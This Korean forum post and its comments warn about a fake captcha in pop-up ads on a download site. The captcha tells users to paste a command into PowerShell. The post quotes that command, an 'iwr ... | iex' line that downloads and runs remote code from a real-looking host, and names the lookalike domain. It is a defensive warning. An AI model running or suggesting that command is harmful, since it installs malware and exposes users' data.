소미소프트

키오스크 사용시 팝업광고 조심

사람이문제다

07/13/2025, 15:27:24

정보

9240 views · 52 likes

키오스크에서 다운로드 하다가 클래식한 스캠기법을 사용하는 사이트가 떠서 알려줌.

주소는 cloudflar^flare아님.best

보다싶히 로봇이 아닙니다. 처럼 생긴 평범한 창처럼 보임. 그런데 저 체크박스를 클릭하면

윈도우 키 + x -> i 를 누르고 ctrl + V 해서 붙여넣기 하라고 나오는데 열리는 프로그램은 Powershell임.

Ctrl + V로 붙여넣게 되는 코드명은 [ iwr walkin.college/trace.mp3 | iex #You're Human: ✅ ] 라고 나오는데 다운로드 해보진 않았지만 reddit 같은 곳에서 멀웨어일 가능성이 높다고 함. 애초에 파워쉘에 저런 코드를 실행하게 만드는게 클래식한 바이러스 배포 방법임.

아무튼 조심하셈. 저게 정상적인 웹사이트일지라도^{가능성은 없음} 저런 코드를 함부로 파워쉘에 설치하는 순간 너가 소중이랑 노는 웹캠 영상 같은 것들이 인터넷에 퍼질 수 있음.

38 comments

easyeasy

07/13/25

요즘 키오 배때지가 불렀나 점점 맛이 가고있음 광고 넣는거 이해는 한다만 바이러스 유포는 존나 선넘었는데

사람이문제다

07/13/25

키오스크를 변호하는건 아닌데 해커들이 광고시스템을 저런식으로 악용하긴 함.

글쓴이

07/13/25

키오탓은 아님 아무래도 저작권과 관련된 일 때문에 탑티어급 광고플랫폼을 쓰지 못하는 이유도 있고 그런 탓에 광고창에 악성스크립트 뿌리는건 옛날부터 있어왔던 일임 그저 음지에서 불법으로 다운받는 사람들의 숙명같은거라고 받아들여야지

kts

07/13/25

저러면 광고차단이 답이지 뭐..

지나가던일반인

07/13/25

이건 좀...

kone-youdong

07/13/25 Edited 07/13/25

Deleted comment.

사람이문제다

07/13/25

https://www.reddit.com/r/techsupport/comments/1lxvtzx/i_executed_a_command_from_a_malicious_cloudflare/

Ghost

07/13/25

저렇게 수동으로 시키는 스팸은 첨보네 ㅋㅋㅋ

mowajelly

07/13/25

마찬가지로 누구도 변호할 생각은 없지만, 보통 키오같은 곳에는 합법적인 광고업체는 광고 잘 안줄려고 하고 (이미지 때문이라던지) 또 광고 단가도 안맞음. 키오가 대량 파일 서버 비용같은걸 충당할려면 고수익 회색 광고 업체같은곳을 써야하는데, 그런 곳이 광고 단가가 쌘 이유가 저렇게 합법적으로는 올리지 못하는 바이러스나 도박 광고가 한가득 때문임

뿌룩뿌뿌

07/13/25

어우 저거 무의식적으로 따라할 뻔 했다가 중간에 멈춰서 식겁함. Ctrl + V ( 파워쉘에 명령입력 ) 만 하지 않으면 PC 자체에 이상 없는거지?

사람이문제다

07/13/25

파워쉘상에 복붙하는 것 까지는 안전함. 그런데 이후로 엔터를 치든 해서 코드를 실행시키는 순간 악성코드 감염됨. 그럼 바로 랜선 뽑고 윈도우 재설치해야함.

Ghost

07/13/25

이거 순간 하려다가 cmd안 열린 상태에서 Ctrl+V에 엔터 눌렀는데 상관 없겠지? 윈도우11인가 하는데 여기서는 win+X 이후 단축키 실행이 안 되는 것 같더라고 그래도 괜히 찝찝하네 혹시라도 깔렸는지 확인할 수 있는 방법은 없겠지?

글쓴이

07/13/25

파워쉘열고 (Get-PSReadlineOption).HistorySavePath 친담에 나오는 txt파일이 모든 세션에서의 history임 여기서 뭐 있나 봐야지

마크르노

07/13/25

예전 월탱 광고가 그립네 그땐 기분좋게 눌려서 홈페이지 들어가면 끝났는데

무지성

07/13/25

광고는 그냥 차단하는게 답이네 ㅋㅋ

달빛품은별

07/13/25

어우 좀 심한데...

지나가는일회용품

07/13/25

멀웨어로 끄집어낼 수 있음?

e2-99-a1

07/24/25

비유하자면 멀웨어 차단기능이 모기장이라 한다면, 저건 니가 모기가 가득 담긴 상자를 스스로 방안으로 들고와서 여는 방식이야

그리피스

07/13/25

진짜 악질적이긴하네..

아주씨

07/13/25

어.. 뭔지모르고 해버렸는데 조진건가요,,

글쓴이

07/13/25

몇달전부터 보이던 피싱 방법인데 컨트롤x하면 악성코드를 다운로드하는 url + 실행 명령이 클립보드에 복사되고 파워쉘에서 유저가 직접 실행하여 당하게 되는 뭐 그런 방법임 옛날 오토런 수준의 허접한 방법인데 또 이게 먹히는 시대가 됐나봄 무턱대고 시킨다고 하지말고 일단 했다면 안티바이러스 돌려보셈